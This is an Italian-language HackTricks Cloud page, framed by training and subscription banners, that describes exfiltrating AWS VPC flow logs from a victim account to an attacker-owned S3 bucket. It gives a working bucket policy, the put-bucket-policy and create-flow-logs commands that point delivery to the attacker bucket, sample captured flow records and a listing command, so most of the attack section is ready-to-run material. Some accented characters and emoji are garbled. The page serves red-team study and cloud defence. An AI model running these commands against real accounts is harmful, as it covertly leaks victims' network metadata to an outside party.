AWS - VPC Flow Logs Cross-Account Exfiltration to S3
Reading time: 4 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al ๐ฌ gruppo Discord o al gruppo telegram o seguici su Twitter ๐ฆ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Riassunto
Abusa di ec2:CreateFlowLogs per esportare i flow log della VPC, del subnet o dell'ENI direttamente in un bucket S3 controllato dall'attaccante. Una volta che il delivery role รจ configurato per scrivere nel bucket esterno, ogni connessione vista nella risorsa monitorata viene trasmessa fuori dall'account vittima.
Requisiti
- Principal vittima: ec2:CreateFlowLogs,ec2:DescribeFlowLogs, eiam:PassRole(se รจ richiesto/creato un delivery role).
- Bucket dell'attaccante: policy S3 che autorizza delivery.logs.amazonaws.comcons3:PutObjectebucket-owner-full-control.
- Opzionale: logs:DescribeLogGroupsse si esporta verso CloudWatch invece che verso S3 (non necessario qui).
Procedura dell'attacco
- Attacker prepara una policy per il bucket S3 (nell'account dell'attaccante) che permette al VPC Flow Logs delivery service di scrivere oggetti. Sostituire i placeholder prima di applicare:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}
Applica dall'account dell'attaccante:
aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
- Victim (compromised principal) crea i flow logs che puntano all'attacker bucket:
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"
Nel giro di pochi minuti, i flow log files compaiono nell'attacker bucket contenenti connessioni per tutte le ENIs nella VPC/subnet monitorata.
Evidenza
Esempi di record di flow log scritti nell'attacker bucket:
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
Prova di Bucket listing:
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
Impatto
- Esfiltrazione continua dei metadata di rete (source/destination IPs, ports, protocols) per la VPC/subnet/ENI monitorata.
- Consente l'analisi del traffico, l'identificazione di servizi sensibili e l'eventuale ricerca di misconfigurazioni dei security group dall'esterno dell'account della vittima.
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al ๐ฌ gruppo Discord o al gruppo telegram o seguici su Twitter ๐ฆ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud